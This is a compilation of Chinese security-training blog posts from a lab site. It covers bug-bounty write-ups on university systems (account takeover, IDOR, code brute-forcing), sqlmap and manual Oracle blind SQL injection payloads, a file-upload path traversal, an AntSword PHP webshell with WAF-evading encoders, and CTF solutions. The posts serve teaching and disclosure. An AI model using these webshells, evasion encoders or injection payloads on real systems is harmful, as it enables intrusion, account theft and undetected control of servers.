你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 0x01:前言 记一次关于edusrc中证书大学的小程序挖掘过程。 在各路大师傅惨无人道的证书站挖掘,像是我这只小菜鸡在web方面很难再摸到漏洞,内网也莫得账号,无奈只能转战小程序。  0x02:准备 夜神模拟器 6.6.1.1 Andorid5版本 Burpsuite 证书 Node+npm环境  0x03:实战 先确定一个证书站的目标,从小程序名称下的归属可以知道此小程序确实属于目标资产,同时在交互包中也可以发现是对其子域进行交互。  先是对其进行一波排查,发现有功能点展示但需要进行登录。爆破一波并没有发现存在弱口令用户,更换方式。   尝试对 小程序 进行反编译 (在对wxapkg文件进行获取的时候,可以先删除其目录下的所有小程序包,然后再去访问想要测试的小程序,会生成两个数据包都要拿出来),例如下图_2100734759_11.wxapkg是需要进行编译的包 #node ../wxappUnpacker-master/wuWxapkg.js _459201295_105.wxapkg    //开始编译  编译成功会获得一些源码,可以尝试找账号密码,且还可以对其进行一系列行为溯源   在翻js的时候,翻到一个js文件,打开发现是一个修改密码的行为    发现有个不想是路径的地址,同时还指明URL,猜测可能是某个接口,尝试利用其的POST方式对其进行发包探测,后来发现不管怎么样都是返回 {success:200}   正当一筹莫展的时候,把js往下滑动,看到了用户信息加载的字样,应该也是基于接口访问获取个人信息   拼接访问:http://xxxx.edu.cn/xxxx/user/admin 好家伙,来开发抽华子  可以发现password的值为undefined,起先我弱智的用空密码登录admin账号,发现密码错误,又带入undefined这个字符串进行登录。。。   重新屡一下思路,照理来讲应该password字段应该是有密码的。回顾操作有没有可能是我上一步的POST数据的那个功能点是修改密码,毕竟我没传任何数据。  对上个接口进行POST传参fuzz,fuzz完好几个字典发现都是没有成功修改密码。 后来想起来wxml像是一个前端页面,正好有个mpassworx.wxml,看看里面的传参值是什么,newp为新密码,confirmp是确认新密码。再对其接口进行构造修改密码   传参值为md5加密之后的数据(为什么知道是md5呢,因为在个人信息返回的那个点,我对其进行了工号和学号的fuzz,发现其中用户密码都是经过md5加密的)   发现从原来undefined,变成了我传入的md5值,成功修改密码  利用修改之后的账号密码,成功登陆系统  同时可以对会议室实验室啥的进行管理,开个门,关个门,开个空调,开个电风扇等等    0x04 实战案例二: 南神永远滴神!!! 依旧还是一个证书站的小程序    先用自己的手机号注册一个账号,Tips:当用自己手机注册一个手机号的时候先会获得一个验证码可以用来注册,同时当准备利用忘记密码功能点来获取密码的时候,验证码不会再发送,后来发现注册获得的验证码可以被多次使用,也不会过期  生成0001 - 9999的字典轻而易举的爆破出来   如何获得管理员的手机号捏~,先利用自建注册的账号,进系统内对各个功能点进行探测,发现有个数据包中带有userID值,尝试越权   发现当访问其他userID时会提示登录超时,看到有个token验证,尝试删除再访问其他userID。发现当userID的值存在时会回显数据,没有则会返回空。    对userID直接fuzz遍历获得linkMobile,就是其手机号。   成功获取一些管理员用户手机,直接在忘记密码处4位纯数字爆破修改密码。   0x05:后言 涉及漏洞均已提交edusrc。 网络如山勤思为径,信息似海安全作舟。 多一分网络防护技能,多一份信息安全保障。 你想在靶场学习CTF技术吗?
记一次相对完整的渗透测试
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  教育src 700rank了想着继续冲一波分,早日上核心,于是就有了下面这一次渗透测试的过程了。 开局一个登陆框,且存在密码找回功能。 归属为某教育局 开启burp 抓取登陆包,发现用户密码并未加密 ,尝试爆破admin账户密码 跑了一下发现报如下错误,看来爆破这条路走不通了。 于是fofq查询了一下ip,无旁站。继续肝下一个功能点,密码找回 密码找回处 可以看出这里肯定是会存在数据交互的,于是加个单引号测试一下sql,返回500 两个单引号,返回正常,可以断定这里是肯定存在sql注入了,抓取包丢进sqlmap中跑一下。 得出如下payload sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: login_name=admin' AND 5698=5698 AND 'yKnB'='yKnB Vector: AND [INFERENCE] Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: login_name=admin' AND (SELECT 3409 FROM (SELECT(SLEEP(5)))iWYb) AND 'ZAHe'='ZAHe Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) 报错与延时注入,对于接下来的渗透意义不大,继续fuzz,尝试按照正常逻辑找回密码。 抓取返回包可以很明显的看到其中存在success参数其值为false,我们将其改为true, 页面显示如下,flag参数不为空,这是玩ctf呢,再次重放找回密码请求。 发现,flag的值应该是在这设定哦,but并不知晓flag的值,无从下手手 行吧转换思路,既然admin账户没有设置手机号,那我去跑一下账户,总有设置手机的账户,flag出现了,现在目前不知道有何作用。转手测试有手机号的账户。 随意输入验证码,点击下一步,大概是明白了,这个flag就相当于身份id。 我们继续抓取返回包,改success 参数为true,成功到达重置密码界面 设置了一下新密码,之后使用burp抓包,发现存在两个参数flag 与pwd flag参数之前在跑用户名的时候我们就已经获取到了,所以这里我单独拉出来,复制之前的flag。 Send,返回结果为true表示成功更改 成功登陆 既然成功登陆之后,就开始找上传点了 Java站那就是jsp与jspx了,经过一番fuzz找到一处相册管理 先上传了一张图片,获取到了上传路径。 接着在构造jsp小马尝试上传,目标存在waf jsp无法上传,我是一点都不意外啊。 看了看poc中可疑的参数点,这不就是我们需要的文件路径,以及文件名吗,我们可以尝试在此处更改文件后缀。 证实了猜想。 于是继续构造poc,成功上传,拼接之前得到的url,尝试访问 发现直接打印了,看来是不解析。 可以很明显的看到这里是目录结构,所以尝试删除部分目录,重新上传 例如 发现成功跳过目录 继续访问发现还是直接打印了,不慢慢fuzz跳目录了,我直接跳到他根目录下面。 分析一下、这是最开始上传到的目录并不解析,我们可以看到其中有四层目录 删除其中如下两层目录后,还剩下 这两层目录所以用 ../../来跳过这两层目录。 结合之前的路径,拼接访问。 未授权,点到为止,打包提交 带带我代码审计可好,好哥哥们。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001 (本实验以PHP和mysql为环境,简单展示了SQL的发生原理和利用过程,通过显错注入和盲注的对比,更直观展现注入的不同利用方法。) 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
蚁剑流量改造学习
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  流量分析 挂个代理直接抓包就好了 UA头修改 修改蚁剑工作目录的/modules/request.js,这里面默认是antSword/v2.1 一般需要修改一下,不然极其容易被发现,可以利用平常爬虫的一些技巧,随机构造UA头 let USER_AGENTS = [ "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 编码管理绕过检测 蚁剑里面可以自己构造流量的编码的效果,存在于设置的编码管理中,可以设置发送流量的加密效果,也可以设置返回数据流量的解密效果,但是我们同样需要我们上传木马的配合,这里又涉及到免杀这一个过程 蚁剑的编码器很友好,注释啥的写的也很清楚,官方给的demo是弄了一个随机变量名,我们的内容base64之后再次传入到这个变量中,再解base64执行一次eval,这个编码器最终发送的是data数组的内容,数组里面有多少内容它就会全部发送,数组的key值就是传过去的参数值 自定义编码 我们可以对其进行改造,这就是自定义改造了 参考这篇文章的例子:https://xz.aliyun.com/t/4000 ,文中是改成最后传输的数据随机字符串+传输数据base64+随机字符串 的效果,我们可以模仿一下,构造随机字符串+传输数据base64 的效果,只要被抓取的流量无法被直接正常分析就可以了 /** * php::base64编码器 * Create at: 2019/01/26 23:51:47 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 // 生成一个随机 编码器选择我们设置的,观察流量,内容的前面13位是我们随机生成的字符串,后面才是我们真正传过去的内容 弄好蚁剑端的加密,还需要设置自己木马的格式,配合蚁剑,此时上传的木马应该是这种格式的了,这只是一个demo,正常情况下还需要免杀(现在一般都需要配合类的析构函数去实现一下) <?php $a = base64_decode(substr($_POST['a'],13)); eval($a); 当然也能实现动态随机字符串的流量构造,只需要传递多几个参数实现一下就行,要想使用form表单的方式发包,也可以使用multipart方式发包,此时报的内容就会是这样 官方提供的一些编码器 在蚁剑自带的编码器中,存在base64、chr、chr16、rot13四种编码器,此外,官方还提供了一些其他另类的编码器 https://github.com/AntSwordProject/AwesomeEncoder 但是自带的编码器中,因为将请求流量都会带有eval和一些编码函数的关键字而被WAF掉了,比如这个图: 所以在https://github.com/AntSwordProject/AwesomeEncoder 这个项目中,有一些编码方式会将这些函数变量进行一次编码或者加密,不行就多次,比如这里面的b64bypass这个编码器,跟上方的单纯base64进行比较的话,已经少了这些关键字了 RSA编码器 这种类型的编码器,可以在AWD中大放异彩,只需要轻轻点几下即会自动生成私钥公钥的内容 思路是来自于这篇文章:https://xz.aliyun.com/t/4640 可以放置别人骑我们的马,但是不能防止别人重放我们的流量 所以可以在此基础上加上一些token,ip限制之类的,蚁剑的作者提出使用时间校验的方式,超过5秒就不能来骑我的马儿了,只需要加上这么一句 data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`; 基于时间的蚁剑动态秘钥编码器 整个的流程是这样的: 蚁剑获取时间->生成随机秘钥->加密payload->发送给shell shell获取时间->生成随机秘钥->解密payload->将回显data编码->返回给蚁剑 蚁剑获取时间->生成随机秘钥->解密返回data->获取信息 这一个来回下来,时间还是一样的,因为时间只到分钟,密钥短时间内不会改变,加解密方法使用的是异或,这个流量已经很难解密了 zlib_deflated_raw 编码器 该方式通过将数据进行zlib压缩后进行base64编码传输给shell,这样要求shell将传输的数据先进行base64解密后通过gzinflate将压缩数据进行解压缩,从而实现流量混淆 这个编码器的加密效果也是不错的 还有其他的一些编码器,使用什么aes之类的,利用起来比较麻烦,有的还需要环境,个人感觉不太常用,但也能学习一下 解码器设置 返回的报文也是个重点,直接明文返回也比较明显,因为没多少站点会直接返回/etc/passwd 的内容 可以先观察一波原始执行的php代码,其中asenc函数是输出返回内容的地方,默认直接返回明文,我们在编码器写的内容,会在发送的时候覆盖这个函数的内容,服务器端执行完代码之后,实现返回效果经过编码加密的效果 <?php @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; } ; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "95922eac"; echo @asenc($output); echo "38160"; } ob_start(); try{ $F=base64_decode($_POST["td1b2e4829a55c"]); $P=@fopen($F,"r"); ech base64解码器 decode_buff部分是设置解密的,asoutput设置的东西则是覆盖请求函数中的asenc函数的内容 /** * php::base64解码器 * Create at: 2021/03/02 18:52:44 */ 'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ return @base64_encode($out); } `.replace(/\n\s+/g, ''); }, /** * 解码 Buf 设置之后抓包可以看到它里面的函数内容已经被更改了 而且返回的内容也不容易被轻易解出来,因为在a请求包中的output函数中每次都设置了随机的前后分界字符串,只有客户端知道分界位置,所以能直接解编码,WAF基本上是没法定位位置进行解码的,因此相当于base64编码前后都有一段随机的字符串,当然我们可以通过爆破前后位置最终得到base64编码,不过这也是蚁剑开发过程中的小细节,通过设置前后分解字符串来模拟了一个简单的加盐操作 也就是这两段东西导致不能够直接将返回包解码就可以得到相关信息,只能通过爆破跑跑 rot13解码器 相比于base64解码器,rot13解码器并没有很大的优势,因为rot13加密本身就是凯撒的变形,并且由于没有进行分组加密,因此加入前后分界字符串的意义也就不明显了,并且混淆程度也不高,能够直接将混淆后的流量在进行rot13解码便能能到明文 上述两个是蚁剑自带的,其实也可以自己构建相关的解码器 基于时间的动态秘钥解码器 只要在返回的内容中再次基于时间产生的密钥进行一个异或操作,然后解密操作在decode_buff实现 'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ date_default_timezone_set("PRC"); $key=md5(date("Y-m-d H:i",time())); for($i=0;$i<strlen($out);$i++){ $out[$i] = $out[$i] ^ $key 绕过检测的程度也很高 WAF的一些常规的封杀点以及一些绕过方法 参考这篇文章:https://mp.weixin.qq.com/s/u8_d8MXvFuwOyIMZZMBsog 其实蚁剑都能根据这些点进行绕过,实属大杀器,总结了个脑图 商用的WAF,由于要关注业务性,可能会把multipart/form-data这种多用来上传文件的传输方式检测关闭掉,否则攻击者持续上传大文件,一直损耗WAF的性能,容易拖垮相关业务,因此如果使用Multipart进行传输,对流量的混淆也起到了一定的积极效果 另外蚁剑还有分块传输的功能,利用的chunk这种传输方式,把payload分成一小段一小段传过去,这样原本一个包中的一些关键字则会被分割成很多小块进行传输,可以绕过了某些正则 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062018020614185300001 (通过该实验了解中国菜刀的特性及其通信原理、机制,并且学会分析可能隐藏的后门以及其工作原理。) 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
为什么大家都喜欢看‘记一次xxx漏洞挖掘’之类的文章
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  安全类的公众号大大小小的关注了两百多个,经常看到标题为“实战|记一次xxx漏洞挖掘”、“某xxx网站渗透实战”之类的文章,比如:https://mp.weixin.qq.com/s/ETm92MHTNksURjOPNqFgHg,https://mp.weixin.qq.com/s/rxfJA44NWP1CIpVfrVh1KQ,https://mp.weixin.qq.com/s/vB3cHY4zxsPoNnuoTvNArQ。 不知道大家是不是跟我一样,每次都会点进去看,学习作者的渗透思路。 包括在蚁景网安实验室去年开设的网安讲堂上,也有很多关于挖洞经验的公开课,学习人数恒河沙数。 那么什么是漏洞发现过程? 在某些方面漏洞发现过程就像解决迷宫、拼图之类的难题,也像一款很火的烧脑益智冒险类游戏——密室逃脱。 挖掘漏洞的过程就像从密室中逃脱一样,需要发现细节、分析推理并且借助工具才能完成。细品那些疑似漏洞的误报是不是很像密室中突然冒出来干扰你正常思路的NPC。 和留言板中直呼大佬的读者一样,我每次看完大佬们的渗透记录,也是如饮醍醐。甚至于经常被这种“记一次xxx漏洞挖掘”之类的标题所吸引,来不及领会的时候就放到收藏夹。堆积如山的除了需要学习的漏洞挖掘思路,更多的是每看完一篇的思路总结。 学而不思则罔,思而不学则殆。学习贵在实践、贵在转化、贵在总结,安全学习更应该边看边动手,把大佬们的技巧转化成自己的思路,并且定期总结。 从源码泄露到代码审计 相信很多人在尝试一个攻击手法时,都会从代码开始研究。去年年初的时候我还写过一篇关于代码审计的记录文章:https://mp.weixin.qq.com/s/c-etrgAVkHW7A8CLNVyz4Q,对PHP的几个危险函数粗略地进行了总结。 文章中提及的几个危险函数使用实例在蚁景网安实验室上也有相关的课程练习,名为PHP函数漏洞审计。在实践练习的过程中,我发现还有另一个课程——PHP代码审计最佳实践,其中关于常见Web漏洞的代码分析思路,完全就是我下一篇《代码审计进阶实战》的文章构造。课程详细地介绍了SQL注入、XSS、命令注入、文件上传等漏洞的产生原理及挖掘方法,课程链接:https://www.yijinglab.com/cour.do?w=1&c=CCID2d0a-0673-40fe-8ac6-bd3c08e8179f& 文章好像都不用写了,感兴趣的自己学习课程PHP代码审计最佳实践吧。 代码审查还有可能涉及到逆向工程分析,在蚁景网安实验室上也有很多逆向分析相关的实验,我对逆向不太了解,就不班门弄斧了。 工欲善其事必先利其器 审查代码需要花费很多的时间和精力,而且在实际漏洞挖掘过程中,遇到的更多是不提供源代码的情况,这就需要我们借助一些工具型软件对应用程序的数据执行进行监视。 实验漏洞扫描介绍了漏洞扫描技术的原理和如何使用burp suite对目标网站进行渗透扫描:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709344100001 众所周知,AWVS也是一款知名的网络漏洞扫描工具,通过网络爬虫测试并检测目标网站的安全漏洞,深受业内人员的喜爱。 通过课程AWVS使用教程学习AWVS的相关配置,使用AWVS进行子域名扫描和Web服务器扫描等:https://www.yijinglab.com/cour.do?w=1&c=CCID90eb-df01-4b2d-9105-d94609391fed& 除了bp和AWVS,还有Nessus、AppScan、Wscan、WebCruiser等漏洞扫描工具,可以在课程渗透扫描工具使用中进行练习:https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916081500001& 心中有树,手中创林 在学习实战挖掘某FTP服务器溢出漏洞实验的时候,用提交漏洞报告的作者给出的poc在系统中进行测试,发现漏洞利用失败了。其实在漏洞利用过程中,经常会遇到使用别人的脚本攻击失败的情况,有时候是系统不同的原因,有时候是代码本身的问题。同样在实验实战挖掘Mini-stream_Ripper缓冲区溢出漏洞中也需要编写自己的exploit,控制程序的执行流程,将恶意数据写入程序。 对没有编程基础的人来说,这样的练习可能会显得不太友好。比如在测试开源的漏洞挖掘工具时,突然想结合其他的功能一起使用,和课程用Python打造实用工具中提及的类似,拥有自己的专属利器:https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2016081211033700001& 当然如果想系统地学习漏洞批量扫描工具的开发,提高漏洞挖掘效率,可以看看蚁景网安学院最新的Python安全开发特训班:https://www.yijinglab.com/pages/activity/python-secure-development.html 我也是最近才了解到,看这个课程大纲感觉还挺诱人的,包括主机发现、端口探测、子域名获取、指纹识别;还有未授权、SQL注入、弱口令漏洞的检测:https://ke.qq.com/course/3413806?tuin=2dfa83c9 他们还不定期地在腾讯课堂和b站开设黑客入门课程、实战训练营什么的,感兴趣的可以了解一下,反正两分钱去不了澳门也到不了香港。 回归到问题上来:为什么大家都喜欢看‘记一次xxx漏洞挖掘’之类的文章? 大概是看多了“为什么要学习网络安全“、“怎么入门Web安全”之类的文章,受国家战略趋势及网络安全发展前景的影响,越来越多的年轻人投身于安全研究与服务行业。在积累了一定的基础之后,通过学习大佬们的渗透记录,巩固自己的知识框架。 其实根据不同的应用场景及技术实现,网络安全也分为很多种领域,包括安全运维、Web安全、云安全、移动安全、工控安全、无线安全、数据安全等。 庆幸于自己的兴趣能够成为工作的动力,也希望大家能找到合适的发展方向,当然也不能受利益驱使做违法的事情。 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
尝试用代码解CTF题-找茬游戏
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天玩一个找茬游戏。但是我们不是用眼睛找,我们用代码找。 本文实验地址:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016111111233100001&。 最近做的题基本都是用工具做题,这次来尝试一下用代码解题。 来看题目解压附件cry200.zip,得到两张图片(附件在c盘根目录下的解密200文件夹中) 我们一般就是比较两张图片的像素,用程序进行对比(这段代码在c盘根目录下的解密200文件夹中有) import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStreamReader; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; public class PicTest2 { public static void main(String[] args) throws IOException { int i,j; int rgb1[] = new int[3]; int rgb2[] = new int[3]; File file1 = new File("C:\1.png");// 实例化file对象,并设置读取图片路径 File file2 = new File("C:\2.png"); File file3 = new File("C:\3.png"); BufferedImage bi1 = null; // 像素缓冲区开始为空 BufferedImage bi2 = null; BufferedImage bi3 = null; bi1 = ImageIO.read(file1); bi2 = ImageIO.read(file2); bi3 = ImageIO.read(file3); int width = bi1.getWidth(); int height = bi1.getHeight(); for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { int pixel1 = bi1.getRGB(i, j); rgb1[0] = (pixel1 & 0xff0000) >> 16; rgb1[1] = (pixel1 & 0xff00) >> 8; rgb1[2] = (pixel1 & 0xff); int pixel2 = bi2.getRGB(i, j); rgb2[0] = (pixel2 & 0xff0000) >> 16; rgb2[1] = (pixel2 & 0xff00) >> 8; rgb2[2] = (pixel2 & 0xff); bi3.setRGB(i, j, Integer.parseInt(Integer.toHexString(rgb1[0]^rgb2[0])+Integer.toHexString(rgb1[1]^rgb2[1])+Integer.toHexString(rgb1[2]^rgb2[2]),16)); } } ImageIO.write(bi3, "PNG", file3); //写入文件 } } 这里运行没有成功,看一下代码里面的地址。需要把1.png和2.png放到c盘根目录下(程序中已经指定为c盘根目录)把1.png复制到c盘根目录下一份,重命名为3.png打开eclipse,新建一个工程,运行代码(自己安装eclipse,安装程序在c盘根目录下的解密200文件夹中有) 然后打开3.png,如下图 隐隐约约可以看到图中有个二维码(这是真的很隐约) 那我们再加点代码让他看得更清楚些在ImageIO.write(bi3, "PNG", file3); 上面加入下面的代码(需要添加的这段代码在c盘根目录下的解密200文件夹中有) for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { //System.out.println(bi3.getRGB(i, j)); if(bi3.getRGB(i, j)==-16777216) bi3.setRGB(i, j, -1); } } 添加了代码之后,再运行 再次打开3.png,如下图 扫码即可得到flag。 这道题是真题,当年难倒了一大片人。题目有迷惑性,要用程序对比像素。用代码解游戏题虽然是一种思路,但是速度应该会慢一些。 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
Oracle数据库手工盲注
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  Oracle数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的数据库管理系统。基于“客户端/服务器”模式结构,客户端应用程序与用户交互,接收用户信息,并向服务器发送请求,服务器系统负责管理数据信息和各种操作数据的活动。 Oracle数据库特征: 1)支持多用户、大事务量的处理 2)数据安全性和完整性的有效控制 3)支持分布式数据处理 4)移植性强 本次实验使用的是Oracle Database Express Edition 11g Release 2。 Sql注入形成的主要原因是: 由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。 由于对and,select等关键字没有过滤。所以接下来我们可以使用and,select等构造sql语句来得到管理员帐号密码。 操作开始,我们先进入实验题目地址 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015012211084300001 实验步骤一 1.首先我们判断一下有没有注入点,在公司新闻下打开一个新闻链接 2.网址后加and 1=1返回正常 3.加and 1=2返回错误,说明存在注入漏洞。 4.判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。 5.判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大 and (select count(*) from admin)=1,返回正常说明只有一个管理员。 6.已知表的前提下,判断表中字段结构 and (select count(name) from admin)>=0返回正常,说明存在name字段 and (select count(pass) from admin)>=0返回错误,说明不存在pass字段 经过猜测,存在pwd字段, 实验步骤二 7.接下来采用ASCII码折半法猜解管理员帐号和密码 判断管理员帐号的长度 and (select count(*) from admin where length(name)>=5)=1 说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成 8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1 说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin 9.相同方法猜解密码 and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文 and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d ......重复操作...... and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8 完成上述操作可以确定帐号为:admin密码为:admin888 打开http://10.1.1.59/login.jsp,输入猜解出的用户名和密码 提示登录成功 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
MISC 从标题中找信息
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  在做隐写的时候,思路很重要,当然有时候会感觉思路不够用,那怎么办呢?记住看隐写的题目名字很重要,因为很多时候,隐写题的标题里就隐藏了信息。 本文实验地址为:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610044700001。 进入实验机,打开http://www.ctfmisc.com/firstbl00d/后,我们仅仅看到一张图片以及一段简单的文字描述,除了网页的标题“BASE64 & MD5 & COOKIE”外,表面上没有任何有用的信息。 继续看题目,此时查看页面的Cookie也看不到任何有用的信息。 这里找不到异常是不是可以看一下图片本身是否携带了提示信息(比如Exif等)。将网页中的xctf.jpg图片保存下来之后,通过Exif.py文件,通可以读取xctf.jpg中的Exif信息,如图所示: 发现了一个可疑的字符串RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc= 这明显就是一个base64题目的标题也有说明我们解密一下在主机的桌面有一个JPK工具,打开JPK,输入RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc=,在JPK的菜单中依次选择ASCII、Decode、Base64菜单项,就可以对其进行解码操作了,得到的结果为FABA838F8BB28E75FF65F34D4F9430D7。 注意标题,这是md5加密,我们网页在线解密一下 套路防不胜防,xctf。 进行做题访问http://www.ctfmisc.com/firstbl00d/xctf.php,网页的内容仍然没有有用的提示信息,不过网页的标题是COOKIE,因此我们可以查看网页的Cookie。使用Google Chrome浏览器打开xctf.php页面,按下F12调出开发者工具,切换到Network选项卡,按F5刷新页面,就可以看到Cookie里面的内容了,如图所示: Cookie内容为next-step=bjN4dDV0M3A%3D,其中%3D为等于号“=”的编码,因此字符串也就是bjN4dDV0M3A=,这也是一个BASE64编码的字符串,再次使用JPK工具对其进行解码,得到明文n3xt5t3p。 我们访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p 这个URL,发现页面跳转到了http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.html,这本是再正常不过的事情,不过根据页面的文字提示“你刚才看见KEY了吗”,是不是在跳转的过程中还有什么提示信息呢?同样在Google Chrome浏览器中按下F12打开开发者工具,并切换到Network选项,再次访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p页面,我们看到了两个301跳转,如图所示: 对于访问目录的URL,通过一次跳转来到index.html页面是正常的事情,但是这里居然有两次跳转,显然就不太正常了。我们点击两个301跳转,看看里面都有什么信息。我们看到的是,第二个301跳转的HTTP响应头信息中存在这样一个选项Set-Cookie:check=0,其他就没有什么特殊的了。 这里需要发挥一下想象,我们访问的是n3xt5t3p,而最终跳转到的页面是n3xt5t3p/index.html,因为有两次跳转,也就是说在这中间还有一个页面。因为之前访问的都是php页面,所以我们猜测其中有一个index.php(是的,CTF比赛的时候就是需要大胆的去猜想,然后通过实际操作来进行验证)。访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.php,没有出现404错误,而是跳转到了index.html,实际结果表明index.php页面是存在的。 结合上面的分析,可能需要Cookie中的check=1时,访问index.php才不会进行跳转。 我们尝试一下用,burp截包,然后我们把Cookie字段的check=0改为check=1,然后点击Forward按钮将HTTP请求发出去,如图所示: 此时,我们就可以在浏览器端看到进一步的提示信息了,提示信息如下: WORD is a common english word len(WORD) = 4 md5(WORD + '_heetian') = '84323c9b4fdb2539b4fb69b82b0189e7' FLAG = md5(WORD) 这里嗯!看到flag了md5(WORD),但是好像需要解密。利用python的hashlib库可以十分方便的进行MD5哈希值计算,对于4个字母的单词,我们可以通过暴力枚举的方式,方便而又快速的找到上面的Flag。将下面的内容保存为一个py文件,双击后等待一会就可以看到运算结果了。 import hashlib import string def crackMd5(dst): dst = dst.lower() for a in string.lowercase: for b in string.lowercase: for c in string.lowercase: for d in string.lowercase: word = a + b + c +d + "_heetian" tmp = hashlib.md5(word).hexdigest() if dst == tmp: return word return None if name == "main": raw_input(crackMd5("84323c9b4fdb2539b4fb69b82b0189e7")) Python基于缩进来控制语句块,如果直接复制运行时提示错误,也可以访问C:\Misc\crackMd5.py来进行计算。计算的结果为misc,如图所示: 这一类的题目不要以为得到了flag就轻松了,后面还有解密过程。思维要严谨,不能老是看题目表象,真题往往没那么容易得出答案。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!